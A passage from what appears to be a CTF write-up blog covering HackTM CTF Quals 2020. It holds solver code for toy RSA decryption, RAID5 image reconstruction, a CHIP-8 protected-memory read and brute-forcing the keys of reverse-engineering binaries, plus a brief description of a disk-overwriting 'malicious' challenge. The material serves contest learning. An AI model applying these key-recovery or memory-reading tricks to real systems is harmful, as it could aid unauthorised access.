stat[24]=1

#str_to_read=[0]*36
str_to_read=[]
cons=[]
for i in range(36):
	t=BitVec('s'+str(i), 16)
	cons.append((t&255)==t)
	str_to_read.append(t)
str_pos=0
str_res=''

res_pos=0
res_naive=False

while stat[24]:
	if stat[64]:
		step1()
	if stat[56]:
		step2()
	if stat[46]:
		step3()
	step4()
print(str_res)
#solve(cons)
so=Solver()
so.add(cons)
print(so.check())
m=so.model()
res=''
for i in range(36):
	res+=chr(m.evaluate(str_to_read[i]).as_long())
print(res)
```

## malicious
一个病毒（？）程序，会获取一个网址的信息解密一段代码。虽然这个网址无法访问，但是他把这个信息求了 md5，反解得到 activate。代入运行，解密的代码会向硬盘直接写入一个 dos 扇区。

这个 dos 扇区又混淆了一次代码，但是我还没逆到那，比赛就结束了，后来看别的 wp 知道是我的世纪 < 0x30 所以看不到 flag。

]]> <![CDATA[HackTM CTF Quals 2020 Writeup]]> /archives/278/ 2020-02-06T03:32:00+08:00 2020-02-06T03:32:00+08:00 admin

由于寒假比较闲，所以找点比赛打。由于需要上交 wp，所以是英文的。

# Crypto

## RSA is easy #1

Since $$N$$ is known, we can compute the encrypted value of each printable character. Then match them with the given encrypted flag, we can decrypt it.

```python
e=65537
n=...

s=[...(encrypted flag)]

from gmpy2 import *

f={}
for j in range(32,127):
	f[j**e%n]=j
r=''
for i in s:
	r+=chr(f[i])
print r
```

## RSA is easy #2

We doesn't know $$N$$, but we know that $$c=n^e\ mod\ N$$. So $$N$$ is a factor of $$n^e-c$$. Then for two $$c$$, we can check all $$n$$, and calculate their $$gcd$$. Then just follow #1.

```python
from gmpy2 import *

s=open('c').read()
s1='Encrypted flag:'
s=s[s.find(s1)+len(s1):]
s=eval(s.strip())
a=s[0]
b=s[1]
for i in range(97,97+26):
	for j in range(97,97+26):
		t=gcd(i**65537-a,j**65537-b)
		if t>100:
			print '|',t
	print i
```

## Prison Break

Maintain the difference of every two adjacent numbers.

```cpp
#include<bits/stdc++.h>

typedef unsigned int uint;
typedef long long ll;
typedef unsigned long long ull;
typedef double lf;
typedef long double llf;
typedef std::pair<int,int> pii;

#define xx first
#define yy second

int s[10000007];

int main()
{
	freopen("Given_File.txt","r",stdin);
	fo0(i,9999999)
	{
		int a,b,c;
		in,a,b,c;
		assert(a>=1&&a<=1000000000);
		assert(b>=1&&b<=1000000000);
		assert(c>=0&&c<=9);
		assert(a<=b);
		(s[a]+=c)%=10;
		(s[b]+=10-c)%=10;
	}
	int r=1;
	fo1(i,10000000)
	{
		(s[i]+=s[i-1])%=10;
		(s[i]+=10)%=10;
		if(s[i])r=(ll)r*s[i]%999999937;
	}
	out,r,'\n';
}
```

## Bad keys

$$\phi(n)$$ is a factor of $$ed-1$$. So we can find $$phi(n)$$.

Since $$pq=n,pq-p-q+1=\phi(n)$$, we can find $$p$$ and $$q$$.

The $$p$$ in the keys are very similar, just like adjacent primes, so we can check some $$p$$ and factorize $$n$$.

```python
n=...
p=12117717634661447128647943483912040772241097914126380240028878917605920543320951000813217299678214801720664141663955381289172887935222185768875580129863163
print(p)
while n%p:
	p-=1
print(p)
```

## Count on me

Consider the given key is a number under some strange base.

Guess each digits is divided in two parts, and they form a 20 base.

After guessing some ways to read the number, finally I found the flag.

（key.txt)

```
N >N *NNN>N/N>/*//NNN// >> >>.>*./N>.NN/N>N  . /N >N>/>/>N/
WN  V*\\NVW\WVN* NVNN WN\ \  . *.NN . N NWW\\.W\ W\\ NW N\W
```

```python
from Crypto.Cipher import AES

c='059fd04bca4152a5938262220f822ed6997f9b4d9334db02ea1223c231d4c73bfbac61e7f4bf1c48001dca2fe3a75c975b0284486398c019259f4fee7dda8fec'.decode('hex')
iv = '42042042042042042042042042042042'.decode('hex')

def chk(key):
	aes = AES.new(key,AES.MODE_CBC, iv)
	r=aes.decrypt(c)
	for i in r:
		if ord(i)<32 or ord(i)>126:
			return False
	print(r)
	return True

def chkn(x):
	r=''
	for i in range(32):
		r+=chr(x&255)
		x>>=8
	assert x==0
	r=r[::-1]
	return chk(r)

a,b=open('key.txt').readlines()[:2]
a=a.strip()
b=b.strip()
va={'>':2, '/':1, 'N':3, ' ':0, '.':0}
vb={'N':3, 'W':4, ' ':0, '\\':1, '.':0, 'V':2}
unk=[]
tot=0
for i in range(59):
	p=58-i
	po=20**i
	if a[p]=='*':
		assert b[p]=='*'
		unk.append((po,i))
	else:
		tot+=(va[a[p]]*5+vb[b[p]])*po

def dfs(x,cur):
	if x==len(unk):
		return chkn(cur)
	for i in range(20):
		dfs(x+1,cur+unk[x][0]*i)

dfs(0,tot)
```

# Forensics

## RR

It seems to be raid5. After some observation, I found the way to decrypt it.

(decrypt script, 2.img is the $$xor$$ of 1.img and 3.img)

```cpp
#include<bits/stdc++.h>

typedef unsigned int uint;
typedef long long ll;
typedef unsigned long long ull;
typedef double lf;
typedef long double llf;
typedef std::pair<int,int> pii;

#define xx first
#define yy second

int main()
{
	FILE*fa=fopen("1.img","rb"),*fb=fopen("2.img","rb"),*fc=fopen("3.img","rb"),*fr=fopen("res.img","wb");
	const int N=8192*65536,A=8192,B=N/A;
	fo0(i,A)
	{
		unsigned char f[B];
		if(i%3==0)
		{
			fread(f,1,B,fb);
			fread(f,1,B,fc);
			fwrite(f,1,B,fr);
			fread(f,1,B,fa);
			fwrite(f,1,B,fr);
		}
		else if(i%3==1)
		{
			fread(f,1,B,fa);
			fread(f,1,B,fb);
			fwrite(f,1,B,fr);
			fread(f,1,B,fc);
			fwrite(f,1,B,fr);
		}
		else
		{
			fread(f,1,B,fc);
			fread(f,1,B,fa);
			fwrite(f,1,B,fr);
			fread(f,1,B,fb);
			fwrite(f,1,B,fr);
		}
	}
}
```

However, this result image seems to be broken (maybe because of header).

I ran `binwalk` on this image, and it found a jpg file. That's the flag.

# Misc

## Romanian Gibberish

Remove `p` and the letter after it.

## The dragon sleeps at night

Work, buy level 1 sword, sleep -5 days, then go to the dragon.

## CHIP 8 /1

`F X 29` can load protected address into `I`.

`D X Y N` can read protected memory and show them.

```
6015
F029
D11F
```

## CHIP 8 /2

The last 512 bytes is executable, just jump there and check "Last instruction".

## Shifty

First, we can find some way to rotate $$(x_0,y_0),(x_0,y_1),(x_1,y_0)$$. (Just consider $$(0,0)\to(0,1)\to (1,0)$$)

It requires $$2n$$ ($$n$$ is board size) operations.

For a level, we can solve it by such rotation.

For first three levels, it's enough. But for level 4, we need to find out what's the real operation. This is not difficult to be done.

For level 5, we can only guess, and then run this until it succeeds.

```python
from pwn import *
from copy import deepcopy
import random

r=remote('138.68.67.161',60006)

rs=[]
chrs={}
cnts={}

def work_level(id):
	global rs,chrs,cnts
	r.recvuntil('Level %d\n'%id)
	r.recvuntil('Your target:\n')
	r.recvuntil('  ')
	s=r.recvuntil('\n')
	us=s[:]
	m=len(s.strip().split())
	n=0
	req=[]
	while True:
		s=r.recvuntil('\n').decode()
		if len(s)<2:
			break
		n+=1
		req.append(s.strip().split(' ')[1:])
	print(n,m,req)
	r.recvuntil('Current board:\n\n')
	r.recvuntil('\n')
	cur=[]
	for i in range(n):
		s=r.recvuntil('\n').decode()
		cur.append(s.strip().split(' ')[1:])
	print(cur)
	for i in range(n):
		print(' '.join(cur[i]))
	print(r.recvuntil('Enter'))
	print(r.recvuntil(': '))

def rotx(x,u=None):
		global rs
		if x in chrs:
			rs.append(chrs[x])
		else:
			rs.append(chr(x+65))
		for T in range(cnts[x]):
			t=cur[x]
			cur[x]=t[1:]+t[:1]
			if u is not None:
				for t in u:
					if t[0]==x:
						t[1]=(t[1]-1)%m

def roty(y,u=None):
		global rs
		if -y-1 in chrs:
			rs.append(chrs[-y-1])
		else:
			rs.append(str(y))
		for T in range(cnts[-y-1]):
			t=cur[0][y]
			for i in range(n-1):
				cur[i][y]=cur[i+1][y]
			cur[n-1][y]=t
			if u is not None:
				for t in u:
					if t[1]==y:
						t[0]=(t[0]-1)%n
	
	t=[]
	for i in range(n):
		t.append(chr(i+65))
	for i in range(m):
		t.append(str(i))
	if id==5:
		t=[]
		for i in range(n):
			t.append(chr(i+65))
		random.shuffle(t)
		for i in range(n):
			chrs[i]=t[i]
		t=[]
		for i in range(m):
			t.append(str(i))
		random.shuffle(t)
		for i in range(m):
			chrs[-i-1]=t[i]
	else:
		chrs={}
		cnts={}
		for i in range(-m,n):
			cnts[i]=1
		if id<=3:
			for i in range(n):
				chrs[i]=chr(i+65)
			for i in range(m):
				chrs[-i-1]=str(i)
		else:
			for ch in t:
				#print(ch)
				r.send(ch+'\n')
				while True:
					s=r.recvuntil('\n')
					#print(s,us)
					if s.strip()==us.strip():
						break
				cur2=[]
				for i in range(n):
					s=r.recvuntil('\n').decode()
					cur2.append(s.strip().split(' ')[1:])
				diff=[]
				for i in range(n):
					for j in range(m):
						if cur[i][j]!=cur2[i][j]:
							diff.append((i,j))
				assert len(diff)==n or len(diff)==m
				xs=set();ys=set()
				for i in diff:
					xs.add(i[0])
					ys.add(i[1])
				if len(xs)==1:
					for u in xs:
						x=u
					cnt=0
					while cur!=cur2:
						rotx(x)
						cnt+=1
					assert cnt==1 or (cnt+1)%m==0
					chrs[x]=ch
					cnts[x]=cnt
				else:
					assert len(ys)==1
					for u in ys:
						y=u
					cnt=0
					while cur!=cur2:
						roty(y)
						cnt+=1
					assert cnt==1 or (cnt+1)%n==0
					chrs[-y-1]=ch
					cnts[-y-1]=cnt
				#print(ch,cur)
	print(chrs)
	print(cnts)
	#exit()
	
	rs=[]

def work(x,y,z):
		#x<-y y<-z z<-x y is pivot
		u=[list(x),list(y),list(z)]
		if x[0]==y[0]:
			assert x[1]!=y[1] and y[0]!=z[0] and y[1]==z[1]
			while u[2]!=list(y):
				roty(y[1],u)
			while u[0]!=list(y):
				rotx(y[0],u)
			while u[0]!=list(z):
				roty(y[1],u)
			while u[2]!=list(y):
				rotx(y[0],u)
		else:
			assert x[1]==y[1] and y[0]==z[0] and y[1]!=z[1]
			while u[2]!=list(y):
				rotx(y[0],u)
			while u[0]!=list(y):
				roty(y[1],u)
			while u[0]!=list(z):
				rotx(y[0],u)
			while u[2]!=list(y):
				roty(y[1],u)

for i in range(n-1):
		for j in range(m):
			if i==n-2 and j==m-1:
				break
			for k in range(n):
				for l in range(m):
					if req[i][j]==cur[k][l]:
						x=k;y=l
						break
			if i==x and j==y:
				continue
			if i!=x and j!=y:
				assert x>i
				work((x,y),(x,j),(i,j))
			elif i==x:
				t=0
				while j==t or y==t:
					t+=1
				work((x,y),(x+1,y),(x+1,t))
				work((x+1,t),(x+1,j),(i,j))
			else:
				assert j==y
				if i!=n-2:
					t=1 if y==0 else 0
					u=n-1 if x!=n-1 else n-2
					work((x,y),(u,y),(u,t))
					work((u,t),(u,y),(i,j))
				else:
					work((x,y),(x,y+1),(i,y+1))
					x=i;y+=1
					t=0
					while j==t or y==t:
						t+=1
					work((x,y),(x+1,y),(x+1,t))
					work((x+1,t),(x+1,j),(i,j))
			#print(i,j,cur)
			assert cur[i][j]==req[i][j]
	#print(cur)
	for i in range(m-1):
		for k in range(n):
			for l in range(m):
				if req[n-1][i]==cur[k][l]:
					x=k;y=l
					break
		if n-1==x and i==y:
			continue
		if x==n-1 and y==m-1:
			work((n-1,i),(x,y),(n-2,m-1))
			continue
		if x==n-1:
			work((x,y),(x,m-1),(n-2,m-1))
			x=n-2
			y=m-1
		assert x==n-2 and y==m-1
		work((x,y),(n-1,y),(n-1,i))
		#print(i,cur)
	print(cur)
	#print(rs)
	#exit()

ST=10000
	for i in range(0,len(rs),ST):
		r.send(','.join(rs[i:i+ST])+'\n')
		if i+ST>=len(rs):
			#r.interactive()
			#exit()
			break
		print(r.recvuntil('Enter'))
		print(r.recvuntil(': '))

for i in range(1,6):
	print('work_level:',i)
	work_level(i)
#r.interactive()
print(r.recvuntil('\n'))
tt=r.recv(10)
print(tt)
if tt==b'Enter 0-3 ':
	exit()
r.interactive()
```

# Rev

## baby bear

If we change some position of input, some suffix of the output will change.

So we can fuzz it. (In fact, it's bfs or maybe A*)

```python
import pexpect,heapq

def work(s):
	p=pexpect.spawn(['./baby_bear_bak'])
	p.read(613)
	p.write(s+b'\n')
	res=p.read(100)
	t=res.find(b'\r\n')
	return res[t+2:t+48]

def bitxor(s,x):
	xt=x>>3
	return s[:xt]+bytes([s[xt]^(1<<(x&7))])+s[xt+1:]

target=b'1100011010101011000100101011000101001011111000'

def cal(s):
	t=work(s)
	c=0
	while c<46 and target[c]==t[c]:
		c+=1
	return c

def u(x,y):
	return x-y*2.5

st=b'0'*16
sc=cal(st)
q=[(u(0,sc),sc,0,st)]
while True:
	tt,sc,cur,s=heapq.heappop(q)
	print(sc,cur,s)
	if sc==46:
		print()
		print(s.decode()[:-2])
		break
	t=bitxor(s,cur)
	flag=True
	for i in t:
		if i<32 or i>127:
			flag=False
	if flag:
		ns=cal(t)
		heapq.heappush(q,(u(cur+1,ns),ns,cur+1,t))
	heapq.heappush(q,(u(cur+1,sc),sc,cur+1,s))

```

## papa bear

It shows similar features to baba bear, so we can also fuzz.

```python
import os,pexpect,heapq

def uu(s):
	r=''
	for i in s:
		if i=='M':
			r+='0'
		elif i=='W':
			r+='1'
	return r

def work(s):
	#p=pexpect.spawn('./papa_bear '+s.decode())
	os.system('./papa_bear "'+s.decode().replace('\\','\\\\').replace('"','\\"').replace('`','\\`')+'" 0>out.txt')
	return uu(open('out.txt').read())

def bitxor(s,x):
	xt=x>>3
	return s[:xt]+bytes([s[xt]^(1<<(x&7))])+s[xt+1:]

#print(work('1231231231231234'))
#print(work(b'\0'*16))
#print(work(bitxor(b'\0'*16,10)))

target=uu(open('sample.txt').read())
print(len(target),target)
print(len(work(b'0'*100)))

def cal(s):
	t=work(s)
	c=0
	while c<275 and target[c]==t[c]:
		c+=1
	return c

def u(x,y):
	return x-y*2
	#return -y

st=b'HackTM{F4th3r b'+b'0'*80
sc=cal(st)
q=[(u(0,sc),sc,0,st)]
L=4
while True:
	tt,sc,cur,s=heapq.heappop(q)
	print(sc,cur,s)
	if sc==275:
		print()
		print(s.decode()[:-2])
		break
	for j in range(1,1<<L):
		t=s
		for k in range(L):
			if j>>k&1:
				t=bitxor(t,cur+k)
		flag=True
		for i in t:
			if i<32 or i>126:
				flag=False
		if flag:
			ns=cal(t)
			heapq.heappush(q,(u(cur+L,ns),ns,cur+L,t))
	heapq.heappush(q,(u(cur+L,sc),sc,cur+L,s))

```

## hackdex

The binary translates words from a dictionary, and there's an hidden option 9.

That requires pro user, and we patched it at 0xec64.

The option 9 requires 6 words, and checks them using `contains_key`. Then it connects these words and checks their sha256, and finally use it as the key of chacha to get the flag.

However, these hash tables were empty, so it's difficult to know which words are required.

Then the hint gives the Boggle game, and https://github.com/AmokHuginnsson/boggle-solvers/blob/master/solve.py tells us the rules.

So we can find the words for the 6 groups.

```
char s0[C0][9]={"ear","lea","ina","rae","ran","air","rig","inn","ann","gin","zen","ira","ian","ria","raze","rain","rani","anne","ring","nine","naze","earn","lean","lear","near","iran","rang","arnel","learn","enring","earing","leaning","learning"};
char s1[C1][9]={"rut","tui","ilk","run","nub","urn","kif","uri","but","nut","fur","fun","tub","bun","bur","tun","fir","urb","rub","tur","rif","turn","burn","turf","fril","klut","bulk"};
char s2[C2][9]={"red","ref","fed","end","per","ina","pre","pea","and","ape","dan","pan","den","ned","ire","pad","nap","dap","fen","rep","ind","pen","pend","edna","dane","erin","dean","reap","read","rein","pean","nape","fern","rend","rena","rind","pane","deni","fend","redan","fried","freda","upend","repand","friend","pander","frieda"};
char s3[C3][9]={"neb","ten","tea","hen","wen","vex","net","men","twx","mae","bet","hew","tew","new","the","web","man","hex","vet","ham","wet","name","benz","amen","newt","team","then","bean","beam","anet","than","mane","anew","hebe","next","wean","thane","enema","ethane"};
char s4[C4][11]={"cur","nor","rum","iou","nim","rue","con","cor","cog","cox","ore","cou","roc","ron","our","nog","gon","cue","vum","ion","rev","com","coin","crux","goum","core","over","ovum","roux","gore","more","mure","omni","cure","roue","oxon","minor","incog","incur","curve","cumin","coming","incurve","overcoming"};
char s5[C5][9]={"ass","nil","ali","oap","iso","alp","spa","oil","sal","asp","ila","sos","ion","lap","sap","pal","sin","son","lisp","slap","also","laos","soap","pass","lion","lino","sion","pali","lass","noil","zion","soil","silas","lasso","passion"};

```

Then just brute force the sha256.

```c++
#include<bits/stdc++.h>

typedef unsigned int uint;
typedef long long ll;
typedef unsigned long long ull;
typedef double lf;
typedef long double llf;
typedef std::pair<int,int> pii;

#define xx first
#define yy second

#include "picosha2.h"
#include "omp.h"

const int C0=33,C1=27,C2=47,C3=39,C4=44,C5=35;

const unsigned char req[33]={191, 215, 169, 38, 6, 20, 158, 102, 23, 156, 141, 6, 168, 186, 80, 245, 135, 162, 150, 225, 107, 64, 252, 16, 89, 235, 42, 102, 102, 10, 239, 19};

char s0[C0][9]={"ear","lea","ina","rae","ran","air","rig","inn","ann","gin","zen","ira","ian","ria","raze","rain","rani","anne","ring","nine","naze","earn","lean","lear","near","iran","rang","arnel","learn","enring","earing","leaning","learning"};
char s1[C1][9]={"rut","tui","ilk","run","nub","urn","kif","uri","but","nut","fur","fun","tub","bun","bur","tun","fir","urb","rub","tur","rif","turn","burn","turf","fril","klut","bulk"};
char s2[C2][9]={"red","ref","fed","end","per","ina","pre","pea","and","ape","dan","pan","den","ned","ire","pad","nap","dap","fen","rep","ind","pen","pend","edna","dane","erin","dean","reap","read","rein","pean","nape","fern","rend","rena","rind","pane","deni","fend","redan","fried","freda","upend","repand","friend","pander","frieda"};
char s3[C3][9]={"neb","ten","tea","hen","wen","vex","net","men","twx","mae","bet","hew","tew","new","the","web","man","hex","vet","ham","wet","name","benz","amen","newt","team","then","bean","beam","anet","than","mane","anew","hebe","next","wean","thane","enema","ethane"};
char s4[C4][11]={"cur","nor","rum","iou","nim","rue","con","cor","cog","cox","ore","cou","roc","ron","our","nog","gon","cue","vum","ion","rev","com","coin","crux","goum","core","over","ovum","roux","gore","more","mure","omni","cure","roue","oxon","minor","incog","incur","curve","cumin","coming","incurve","overcoming"};
char s5[C5][9]={"ass","nil","ali","oap","iso","alp","spa","oil","sal","asp","ila","sos","ion","lap","sap","pal","sin","son","lisp","slap","also","laos","soap","pass","lion","lino","sion","pali","lass","noil","zion","soil","silas","lasso","passion"};

#define A(t) int c##t=c;for(char*i=s##t[x##t];*i;i++)tmp[c++]=*i;
#define D(t) c=c##t;

void work(int x0,int x1)
{
	char tmp[105];
	int c=0;
	A(0);
	A(1);
	fo0(x2,C2)
	{
		A(2);
		fo0(x3,C3)
		{
			A(3);
			fo0(x4,C4)
			{
				A(4);
				fo0(x5,C5)
				{
					A(5);
					unsigned char res[picosha2::k_digest_size+1];
					picosha2::hash256(tmp,tmp+c,res,res+picosha2::k_digest_size);
					//std::string hex_str = picosha2::bytes_to_hex_string(res,res+picosha2::k_digest_size);
					//std::cout<<hex_str<<std::endl;
					//out,c,'\n';
					if(res[0]==191)//req[0]
					{
						fo1(i,31)if(res[i]!=req[i])goto naive;
						printf("%d %d %d %d %d %d\n",x0,x1,x2,x3,x4,x5);
						fprintf(stderr,"%d %d %d %d %d %d\n",x0,x1,x2,x3,x4,x5);
						naive:;
					}
					//fo0(i,c)putchar(tmp[i]);puts("");
					//fo0(i,picosha2::k_digest_size)printf("%02x",res[i]);puts("");
					//cnt+=c;
					D(5);
				}
				D(4);
			}
			D(3);
		}
		D(2);
	}
	out,x0,' ',x1,'\n';
}

int main()
{
	omp_set_num_threads(24);
#pragma omp parallel for
	for(int i=0;i<C0*C1;i++)
		work(i%C0,i/C0);
}

```

The final key is `learningfunfriendteamovercomingpassion`, then we patched `contains_key`, input these keys into the binary, then we got the flag.

## mama bear

It generates x86 instructions from some byte code and given key.

Here's some python equivalent.

```python
code = '#0#:#4#8#N#<#L#J#D#@#B#F#2#>#H#6!CBKMNLHOIAJ@DFGE?8:67=<>93;1452-4-:-8-2-F-6-B-L-H-J->-<-D-@-ND&-D-E@&-@-AB&-B-CF&-F-GN&-N-O:&-:-;L&-L-M<&-<-=0&-0-1>&->-?6&-6-72&-2-34&-4-58&-8-9J&-J-KH&-H-I!8:5>;=91?072634<CEM@IBJKLAGNFDH-A-9-=-M-?-3-I-G-E-5-C-1-K-;-77&-7-6G&-G-FI&-I-HC&-C-BK&-K-JA&-A-@O&-O-N1&-1-0M&-M-L=&-=-<5&-5-49&-9-83&-3-2E&-E-D;&-;-:?&-?->!L7>-L->-76<H?N3-6-3-N-?-H-<K9B-K-B-9=J;FCI-=-I-C-F-;-J8@O124-8-4-2-1-O-@M5:DGA-M-A-G-D-:-5A@&-@-AIH&-H-I98&-8-9GF&-F-G;:&-:-;76&-6-7ON&-N-OKJ&-J-K54&-4-5ML&-L-M32&-2-3ED&-D-E10&-0-1?>&->-?=<&-<-=CB&-B-C!C7@1LI-C-I-L-1-@-74F=-4-=-FKG?0NM-K-M-N-0-?-GHA3-H-3-A5D9<6B-5-B-6-<-9-DJE;8>2-J-2->-8-;-EFG&-G-FNO&-O-NBC&-C-BDE&-E-D@A&-A-@67&-7-689&-9-8<=&-=-<JK&-K-J01&-1-0HI&-I-H45&-5-423&-3-2LM&-M-L>?&-?->:;&-;-:!JKFEH@IMCGANLDOB<9;5>728:=463?1-2-N-6-<-8-J-D-@-4->-L-:-F-B-HJ&-J-K0&-0-1F&-F-G6&-6-72&-2-3L&-L-M@&-@-AH&-H-I4&-4-5<&-<-=N&-N-O>&->-?D&-D-EB&-B-C8&-8-9:&-:-;!862:>1?3;=<47950JMFHENDC@ILABKG-?-G-5-3-I-C-1-7-9-M-;-A-=-K-EO&-O-NE&-E-D=&-=-<A&-A-@G&-G-F7&-7-65&-5-49&-9-8I&-I-H1&-1-0M&-M-L3&-3-2;&-;-:K&-K-JC&-C-B?&-?->!L7>-L->-7I=J;FC-I-C-F-;-J-=9BK-9-K-B5:DGAM-5-M-A-G-D-:1248@O-1-O-@-8-4-236<H?N-3-N-?-H-<-610&-0-154&-4-5?>&->-?ON&-N-OGF&-F-GA@&-@-A32&-2-3ED&-D-E;:&-:-;CB&-B-CIH&-H-IKJ&-J-KML&-L-M=<&-<-=98&-8-976&-6-7!<6B5D9-<-9-D-5-B-6HA3-H-3-A4F=-4-=-F7@1LIC-7-C-I-L-1-@G?0NMK-G-K-M-N-0-?>2JE;8->-8-;-E-J-2HI&-I-HJK&-K-J01&-1-0<=&-=-<LM&-M-LFG&-G-F67&-7-645&-5-4@A&-A-@>?&-?->89&-9-8DE&-E-DBC&-C-BNO&-O-N23&-3-2:;&-;-:#2#B#F#4#0#8#>#D#@#H#L#N#:#J#6#<!'

pwd = iter([5,ord('X'),0,0,0,0,0,0,ord('W')])
secret=list(map(lambda x:int(x,16),'0E 8D 8E 0E 67 4E E5 E5 8E EE 2E 8D 8C AE 45 CE 6D EC A5 ED EE 8B 4E AE 0E 0E 8C AD 64 0E 86 67'.split(' ')))
usecret=list(range(48,80))
assert len(usecret)==32
pwd_bytes=[0]*4

def proc_pwd_byte(pwd_byte):
	four_byte_table=[1,2,3,0]
	pwd_bytes[0] = four_byte_table[pwd_byte & 3]
	four_byte_table = four_byte_table[:pwd_byte & 3] + four_byte_table[(pwd_byte & 3)+1:]
	t=(pwd_byte>>2)%3
	pwd_bytes[1] = four_byte_table[t]
	four_byte_table = four_byte_table[:t] + four_byte_table[t+1:]
	t=(pwd_byte//12)%2
	pwd_bytes[2] = four_byte_table[t]
	four_byte_table = four_byte_table[:t] + four_byte_table[t+1:]
	pwd_bytes[3] = four_byte_table[0]

pc=0
def get():
	global pc
	r=code[pc]
	pc+=1
	return ord(r)

stack=[]

def pop():
	global stack
	r=stack[-1]
	stack=stack[:-1]
	return r

def ror(x,y):
	a=secret[x+1]*256+secret[x]
	a=(a>>y)|((a&((1<<y)-1))<<(16-y))
	secret[x+1]=a>>8
	secret[x]=a&255

def rol(x,y):
	return (x<<y&255)|(x>>(8-y))

def push(x):
	stack.append(x)

def speco(a):
	b=a>>8
	a=a&0xff
	for i in range(8):
		y = b&1
		x = a&1
		v7 = pwd_bytes[y*2+x]>>1
		v6 = pwd_bytes[y*2+x]&1
		b = rol(v7|(b&0xfe), 1)
		a = rol(v6|(a&0xfe), 1)
	return a<<8|b

def spec():
	a=pop()
	b=pop()
	t=speco(b<<8|a)
	b=t>>8
	a=t&255
	push(b)
	push(a)

def cpu():
	cur=next(pwd)
	proc_pwd_byte(cur)
	while True:
		op=get()
		if op==0x26:
			spec()
		elif op==0x21: # !
			break
		elif op==0x2d: # -
			secret[get()-0x30]=pop()&255
		elif op==0x23: # #
			fr = get() - 0x30
			ror(fr,cur&7)
		else:
			assert op <= 0x30 + 0x2B
			push(secret[op-0x30])
	pass

cpu()
print(''.join(map(chr,usecret)))
secret=usecret

for i in range(8):
	cpu()

s=''
for i in range(16):
	s+='%02x'%secret[i]
print(s)
s=''
for i in range(16,32):
	s+='%02x'%secret[i]
print(s)
```

Each digit of the key is used twice, once be modulo 24, once be modulo 8. So there are only $24^6=191102976$ different keys.

We can just enumerate the key and solve the equation.

```cpp
#include<bits/stdc++.h>

typedef unsigned int uint;
typedef long long ll;
typedef unsigned long long ull;
typedef double lf;
typedef long double llf;
typedef std::pair<int,int> pii;

#define xx first
#define yy second

const char code[]="#0#:#4#8#N#<#L#J#D#@#B#F#2#>#H#6!CBKMNLHOIAJ@DFGE?8:67=<>93;1452-4-:-8-2-F-6-B-L-H-J->-<-D-@-ND&-D-E@&-@-AB&-B-CF&-F-GN&-N-O:&-:-;L&-L-M<&-<-=0&-0-1>&->-?6&-6-72&-2-34&-4-58&-8-9J&-J-KH&-H-I!8:5>;=91?072634<CEM@IBJKLAGNFDH-A-9-=-M-?-3-I-G-E-5-C-1-K-;-77&-7-6G&-G-FI&-I-HC&-C-BK&-K-JA&-A-@O&-O-N1&-1-0M&-M-L=&-=-<5&-5-49&-9-83&-3-2E&-E-D;&-;-:?&-?->!L7>-L->-76<H?N3-6-3-N-?-H-<K9B-K-B-9=J;FCI-=-I-C-F-;-J8@O124-8-4-2-1-O-@M5:DGA-M-A-G-D-:-5A@&-@-AIH&-H-I98&-8-9GF&-F-G;:&-:-;76&-6-7ON&-N-OKJ&-J-K54&-4-5ML&-L-M32&-2-3ED&-D-E10&-0-1?>&->-?=<&-<-=CB&-B-C!C7@1LI-C-I-L-1-@-74F=-4-=-FKG?0NM-K-M-N-0-?-GHA3-H-3-A5D9<6B-5-B-6-<-9-DJE;8>2-J-2->-8-;-EFG&-G-FNO&-O-NBC&-C-BDE&-E-D@A&-A-@67&-7-689&-9-8<=&-=-<JK&-K-J01&-1-0HI&-I-H45&-5-423&-3-2LM&-M-L>?&-?->:;&-;-:!JKFEH@IMCGANLDOB<9;5>728:=463?1-2-N-6-<-8-J-D-@-4->-L-:-F-B-HJ&-J-K0&-0-1F&-F-G6&-6-72&-2-3L&-L-M@&-@-AH&-H-I4&-4-5<&-<-=N&-N-O>&->-?D&-D-EB&-B-C8&-8-9:&-:-;!862:>1?3;=<47950JMFHENDC@ILABKG-?-G-5-3-I-C-1-7-9-M-;-A-=-K-EO&-O-NE&-E-D=&-=-<A&-A-@G&-G-F7&-7-65&-5-49&-9-8I&-I-H1&-1-0M&-M-L3&-3-2;&-;-:K&-K-JC&-C-B?&-?->!L7>-L->-7I=J;FC-I-C-F-;-J-=9BK-9-K-B5:DGAM-5-M-A-G-D-:1248@O-1-O-@-8-4-236<H?N-3-N-?-H-<-610&-0-154&-4-5?>&->-?ON&-N-OGF&-F-GA@&-@-A32&-2-3ED&-D-E;:&-:-;CB&-B-CIH&-H-IKJ&-J-KML&-L-M=<&-<-=98&-8-976&-6-7!<6B5D9-<-9-D-5-B-6HA3-H-3-A4F=-4-=-F7@1LIC-7-C-I-L-1-@G?0NMK-G-K-M-N-0-?>2JE;8->-8-;-E-J-2HI&-I-HJK&-K-J01&-1-0<=&-=-<LM&-M-LFG&-G-F67&-7-645&-5-4@A&-A-@>?&-?->89&-9-8DE&-E-DBC&-C-BNO&-O-N23&-3-2:;&-;-:#2#B#F#4#0#8#>#D#@#H#L#N#:#J#6#<!";

const int req[32]={139, 164, 9, 150, 8, 129, 251, 171, 103, 110, 126, 74, 71, 68, 119, 112, 179, 101, 213, 124, 24, 97, 105, 40, 107, 47, 6, 77, 11, 67, 75, 246};

const int SG=32*8;

typedef std::bitset<32*8+1>bit;

int to_int(bit*s)
{
	int t=0;
	fo0(j,8)
	{
		t+=(int)s[j][SG]<<j;
	}
	return t;
}

void proc_pwd_byte(int x,int*o)
{
	int t[4]={1,2,3,0};
	fd1(i,4)
	{
		int y=x%i;
		x/=i;
		o[4-i]=t[y];
		fo(j,y,i-2)t[j]=t[j+1];
	}
}

int pb[24][4],rc[2][2][2][2][2];
bool plx[24],ply[24],plz[24];
bool phx[24],phy[24],phz[24];

void speco(bit*s,int pwd)
{
	//low to high
	bit ta,tb;
	fo0(i,8)
	{
		ta.reset(),tb.reset();
		//out,plx[pwd],' ',ply[pwd],' ',plz[pwd],'\n';
		if(plx[pwd])ta^=s[i];
		if(ply[pwd])ta^=s[i+8];
		if(plz[pwd])ta[SG].flip();
		if(phx[pwd])tb^=s[i];
		if(phy[pwd])tb^=s[i+8];
		if(phz[pwd])tb[SG].flip();
		//out,(int)s[i][SG],' ',(int)s[i+8][SG],' ',(int)ta[SG],' ',(int)tb[SG],'\n';
		s[i]=tb;
		s[i+8]=ta;
	}
}

void push(bit*stack,bit*s,int&sc)
{
	fo0(i,8)stack[sc+i]=s[i];
	sc+=8;
}

void pop(bit*stack,bit*s,int&sc)
{
	sc-=8;
	fo0(i,8)s[i]=stack[sc+i];
}

void spec(bit*stack,int&sc,int pwd)
{
	//exit(233);
	bit tmp[16];
	pop(stack,tmp,sc);
	pop(stack,tmp+8,sc);
